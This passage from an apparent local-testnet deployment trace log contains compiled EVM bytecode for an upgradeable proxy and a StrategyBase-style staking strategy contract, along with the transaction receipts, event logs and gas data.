3659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","gas_used":465106,"gas_limit":636783,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","nonce":6,"gas_used":573230},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x117e5c","logs":[{"address":"0x0165878a594ca255338adfa4d48449f69242eb8f","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},{"address":"0x0165878a594ca255338adfa4d48449f69242eb8f","topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000001000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000040000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000024000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x1ff38862b4e1a20e1c613d101727ece9f658c7a6f5f12eb1f9141139574be097","block_number":3},{"info":{"transaction_hash":"0x52313b68ddd22abd2c1d0f4320f5687a41e1eacadced37c5e339989e6724e408","transaction_index":1,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x7a2088a1bfc9d81c55368ae168c2c02570cb814f","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x7a2088a1bfc9d81c55368ae168c2c02570cb814f","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x60a060405234801561001057600080fd5b50604051611d33380380611d3383398101604081905261002f9161010c565b6001600160a01b0381166080528061004561004c565b505061013c565b600054610100900460ff16156100b85760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561010a576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b60006020828403121561011e57600080fd5b81516001600160a01b038116811461013557600080fd5b9392505050565b608051611bc761016c60003960008181610216015281816107a801528181610b490152610c130152611bc76000f3fe608060405234801561001057600080fd5b506004361061018e5760003560e01c80635c975abb116100de578063ab5921e111610097578063df6fadc111610071578063df6fadc114610366578063e3dae51c14610381578063f3e7387514610394578063fabc1cbc146103a757600080fd5b8063ab5921e11461032b578063ce7c2ac214610340578063d9caed121461035357600080fd5b80635c975abb146102c857806361b01b5d146102d05780637a8b2637146102d9578063886f1195146102ec5780638c871019146103055780638f6a62401461031857600080fd5b80633a98ef391161014b578063485cc95511610125578063485cc9551461026b578063553ca5f81461027e578063595c6a67146102915780635ac86ab71461029957600080fd5b80633a98ef391461023857806343fe08b01461024f57806347e7ef241461025857600080fd5b8063019e27291461019357806310d67a2f146101a857806311c70c9d146101bb578063136439dd146101ce5780632495a599146101e157806339b70e3814610211575b600080fd5b6101a66101a13660046117b9565b6103ba565b005b6101a66101b6366004611803565b61049d565b6101a66101c9366004611820565b610550565b6101a66101dc366004611842565b610605565b6032546101f4906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6101f47f000000000000000000000000000000000000000000000000000000000000000081565b61024160335481565b604051908152602001610208565b61024160645481565b61024161026636600461185b565b610749565b6101a6610279366004611887565b6108ef565b61024161028c366004611803565b6109bd565b6101a66109d1565b6102b86102a73660046118c0565b6001805460ff9092161b9081161490565b6040519015158152602001610208565b600154610241565b61024160655481565b6102416102e7366004611842565b610a9d565b6000546101f4906201000090046001600160a01b031681565b610241610313366004611842565b610ae8565b610241610326366004611803565b610af3565b610333610b01565b6040516102089190611907565b61024161034e366004611803565b610b21565b6101a661036136600461193a565b610bb6565b60645460655460408051928352602083019190915201610208565b61024161038f366004611842565b610d7e565b6102416103a2366004611842565b610db7565b6101a66103b5366004611842565b610dc2565b600054610100900460ff16158080156103da5750600054600160ff909116105b806103f45750303b1580156103f4575060005460ff166001145b6104195760405162461bcd60e51b81526004016104109061197b565b60405180910390fd5b6000805460ff19166001179055801561043c576000805461ff0019166101001790555b6104468585610f1e565b610450838361102b565b8015610496576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051491906119c9565b6001600160a01b0316336001600160a01b0316146105445760405162461bcd60e51b8152600401610410906119e6565b61054d816110bc565b50565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c791906119c9565b6001600160a01b0316336001600160a01b0316146105f75760405162461bcd60e51b8152600401610410906119e6565b6106018282610f1e565b5050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610652573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106769190611a30565b6106925760405162461bcd60e51b815260040161041090611a52565b6001548181161461070b5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60018054600091829181160361079d5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146108155760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b61081f84846111c1565b60335460006108306103e883611ab0565b905060006103e861083f6112a3565b6108499190611ab0565b905060006108578783611ac3565b9050806108648489611ad6565b61086e9190611aed565b9550856000036108d75760405162461bcd60e51b815260206004820152602e60248201527f5374726174656779426173652e6465706f7369743a206e65775368617265732060448201526d63616e6e6f74206265207a65726f60901b6064820152608401610410565b6108e18685611ab0565b603355505050505092915050565b600054610100900460ff161580801561090f5750600054600160ff909116105b806109295750303b158015610929575060005460ff166001145b6109455760405162461bcd60e51b81526004016104109061197b565b6000805460ff191660011790558015610968576000805461ff0019166101001790555b610972838361102b565b80156109b8576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050565b60006109cb6102e783610b21565b92915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610a1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a429190611a30565b610a5e5760405162461bcd60e51b815260040161041090611a52565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b6000806103e8603354610ab09190611ab0565b905060006103e8610abf6112a3565b610ac99190611ab0565b905081610ad68583611ad6565b610ae09190611aed565b949350505050565b60006109cb82610d7e565b60006109cb6103a283610b21565b60606040518060800160405280604d8152602001611b45604d9139905090565b604051633d3f06c960e11b81526001600160a01b0382811660048301523060248301526000917f000000000000000000000000000000000000000000000000000000000000000090911690637a7e0d9290604401602060405180830381865afa158015610b92573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb9190611b0f565b60018054600290811603610c085760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610c805760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b610c8b848484611315565b60335480831115610d1a5760405162461bcd60e51b815260206004820152604d60248201527f5374726174656779426173652e77697468647261773a20616d6f756e7453686160448201527f726573206d757374206265206c657373207468616e206f7220657175616c207460648201526c6f20746f74616c53686172657360981b608482015260a401610410565b6000610d286103e883611ab0565b905060006103e8610d376112a3565b610d419190611ab0565b9050600082610d508784611ad6565b610d5a9190611aed565b9050610d668685611ac3565b603355610d74888883611398565b5050505050505050565b6000806103e8603354610d919190611ab0565b905060006103e8610da06112a3565b610daa9190611ab0565b905080610ad68386611ad6565b60006109cb82610a9d565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3991906119c9565b6001600160a01b0316336001600160a01b031614610e695760405162461bcd60e51b8152600401610410906119e6565b600154198119600154191614610ee75760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161073e565b60645460408051918252602082018490527ff97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5910160405180910390a160655460408051918252602082018390527f6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452910160405180910390a1808211156110205760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794261736554564c4c696d6974732e5f73657454564c4c696d60448201527f6974733a206d61785065724465706f7369742065786365656473206d6178546f60648201526a74616c4465706f7369747360a81b608482015260a401610410565b606491909155606555565b600054610100900460ff166110965760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b6064820152608401610410565b603280546001600160a01b0319166001600160a01b0384161790556106018160006113ac565b6001600160a01b03811661114a5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610410565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b60645481111561122b5760405162461bcd60e51b815260206004820152602f60248201527f53747261746567794261736554564c4c696d6974733a206d617820706572206460448201526e195c1bdcda5d08195e18d959591959608a1b6064820152608401610410565b6065546112366112a3565b11156112995760405162461bcd60e51b815260206004820152602c60248201527f53747261746567794261736554564c4c696d6974733a206d6178206465706f7360448201526b1a5d1cc8195e18d95959195960a21b6064820152608401610410565b6106018282611498565b6032546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156112ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113109190611b0f565b905090565b6032546001600160a01b038381169116146109b85760405162461bcd60e51b815260206004820152603b60248201527f5374726174656779426173652e77697468647261773a2043616e206f6e6c792060448201527f77697468647261772074686520737472617465677920746f6b656e00000000006064820152608401610410565b6109b86001600160a01b0383168483611514565b6000546201000090046001600160a01b03161580156113d357506001600160a01b03821615155b6114555760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610601826110bc565b6032546001600160a01b038381169116146106015760405162461bcd60e51b815260206004820152603660248201527f5374726174656779426173652e6465706f7369743a2043616e206f6e6c79206460448201527532b837b9b4ba103ab73232b9363cb4b733aa37b5b2b760511b6064820152608401610410565b604080516001600160a01b03848116602483015260448083018590528351808403909101815260649092018352602080830180516001600160e01b031663a9059cbb60e01b17905283518085019094528084527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564908401526109b8928692916000916115a4918516908490611621565b8051909150156109b857808060200190518101906115c29190611a30565b6109b85760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610410565b6060611630848460008561163a565b90505b9392505050565b60608247101561169b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610410565b6001600160a01b0385163b6116f25760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610410565b600080866001600160a01b0316858760405161170e9190611b28565b60006040518083038185875af1925050503d806000811461174b576040519150601f19603f3d011682016040523d82523d6000602084013e611750565b606091505b509150915061176082828661176b565b979650505050505050565b6060831561177a575081611633565b82511561178a5782518084602001fd5b8160405162461bcd60e51b81526004016104109190611907565b6001600160a01b038116811461054d57600080fd5b600080600080608085870312156117cf57600080fd5b843593506020850135925060408501356117e8816117a4565b915060608501356117f8816117a4565b939692955090935050565b60006020828403121561181557600080fd5b8135611633816117a4565b6000806040838503121561183357600080fd5b50508035926020909101359150565b60006020828403121561185457600080fd5b5035919050565b6000806040838503121561186e57600080fd5b8235611879816117a4565b946020939093013593505050565b6000806040838503121561189a57600080fd5b82356118a5816117a4565b915060208301356118b5816117a4565b809150509250929050565b6000602082840312156118d257600080fd5b813560ff8116811461163357600080fd5b60005b838110156118fe5781810151838201526020016118e6565b50506000910152565b60208152600082518060208401526119268160408501602087016118e3565b601f01601f19169190910160400192915050565b60008060006060848603121561194f57600080fd5b833561195a816117a4565b9250602084013561196a816117a4565b929592945050506040919091013590565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6000602082840312156119db57600080fd5b8151611633816117a4565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611a4257600080fd5b8151801515811461163357600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b808201808211156109cb576109cb611a9a565b818103818111156109cb576109cb611a9a565b80820281158282048414176109cb576109cb611a9a565b600082611b0a57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611b2157600080fd5b5051919050565b60008251611b3a8184602087016118e3565b919091019291505056fe4261736520537472617465677920696d706c656d656e746174696f6e20746f20696e68657269742066726f6d20666f72206d6f726520636f6d706c657820696d706c656d656e746174696f6e73a264697066735822122021b62fe5b5bce3c7900ce940fa79726154511331bde65b6124359a94d004524164736f6c634300081c0033000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9","output":"0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80635c975abb116100de578063ab5921e111610097578063df6fadc111610071578063df6fadc114610366578063e3dae51c14610381578063f3e7387514610394578063fabc1cbc146103a757600080fd5b8063ab5921e11461032b578063ce7c2ac214610340578063d9caed121461035357600080fd5b80635c975abb146102c857806361b01b5d146102d05780637a8b2637146102d9578063886f1195146102ec5780638c871019146103055780638f6a62401461031857600080fd5b80633a98ef391161014b578063485cc95511610125578063485cc9551461026b578063553ca5f81461027e578063595c6a67146102915780635ac86ab71461029957600080fd5b80633a98ef391461023857806343fe08b01461024f57806347e7ef241461025857600080fd5b8063019e27291461019357806310d67a2f146101a857806311c70c9d146101bb578063136439dd146101ce5780632495a599146101e157806339b70e3814610211575b600080fd5b6101a66101a13660046117b9565b6103ba565b005b6101a66101b6366004611803565b61049d565b6101a66101c9366004611820565b610550565b6101a66101dc366004611842565b610605565b6032546101f4906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6101f47f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b61024160335481565b604051908152602001610208565b61024160645481565b61024161026636600461185b565b610749565b6101a6610279366004611887565b6108ef565b61024161028c366004611803565b6109bd565b6101a66109d1565b6102b86102a73660046118c0565b6001805460ff9092161b9081161490565b6040519015158152602001610208565b600154610241565b61024160655481565b6102416102e7366004611842565b610a9d565b6000546101f4906201000090046001600160a01b031681565b610241610313366004611842565b610ae8565b610241610326366004611803565b610af3565b610333610b01565b6040516102089190611907565b61024161034e366004611803565b610b21565b6101a661036136600461193a565b610bb6565b60645460655460408051928352602083019190915201610208565b61024161038f366004611842565b610d7e565b6102416103a2366004611842565b610db7565b6101a66103b5366004611842565b610dc2565b600054610100900460ff16158080156103da5750600054600160ff909116105b806103f45750303b1580156103f4575060005460ff166001145b6104195760405162461bcd60e51b81526004016104109061197b565b60405180910390fd5b6000805460ff19166001179055801561043c576000805461ff0019166101001790555b6104468585610f1e565b610450838361102b565b8015610496576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051491906119c9565b6001600160a01b0316336001600160a01b0316146105445760405162461bcd60e51b8152600401610410906119e6565b61054d816110bc565b50565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c791906119c9565b6001600160a01b0316336001600160a01b0316146105f75760405162461bcd60e51b8152600401610410906119e6565b6106018282610f1e565b5050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610652573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106769190611a30565b6106925760405162461bcd60e51b815260040161041090611a52565b6001548181161461070b5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60018054600091829181160361079d5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c916146108155760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b61081f84846111c1565b60335460006108306103e883611ab0565b905060006103e861083f6112a3565b6108499190611ab0565b905060006108578783611ac3565b9050806108648489611ad6565b61086e9190611aed565b9550856000036108d75760405162461bcd60e51b815260206004820152602e60248201527f5374726174656779426173652e6465706f7369743a206e65775368617265732060448201526d63616e6e6f74206265207a65726f60901b6064820152608401610410565b6108e18685611ab0565b603355505050505092915050565b600054610100900460ff161580801561090f5750600054600160ff909116105b806109295750303b158015610929575060005460ff166001145b6109455760405162461bcd60e51b81526004016104109061197b565b6000805460ff191660011790558015610968576000805461ff0019166101001790555b610972838361102b565b80156109b8576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050565b60006109cb6102e783610b21565b92915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610a1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a429190611a30565b610a5e5760405162461bcd60e51b815260040161041090611a52565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b6000806103e8603354610ab09190611ab0565b905060006103e8610abf6112a3565b610ac99190611ab0565b905081610ad68583611ad6565b610ae09190611aed565b949350505050565b60006109cb82610d7e565b60006109cb6103a283610b21565b60606040518060800160405280604d8152602001611b45604d9139905090565b604051633d3f06c960e11b81526001600160a01b0382811660048301523060248301526000917f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c990911690637a7e0d9290604401602060405180830381865afa158015610b92573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb9190611b0f565b60018054600290811603610c085760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c91614610c805760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b610c8b848484611315565b60335480831115610d1a5760405162461bcd60e51b815260206004820152604d60248201527f5374726174656779426173652e77697468647261773a20616d6f756e7453686160448201527f726573206d757374206265206c657373207468616e206f7220657175616c207460648201526c6f20746f74616c53686172657360981b608482015260a401610410565b6000610d286103e883611ab0565b905060006103e8610d376112a3565b610d419190611ab0565b9050600082610d508784611ad6565b610d5a9190611aed565b9050610d668685611ac3565b603355610d74888883611398565b505050505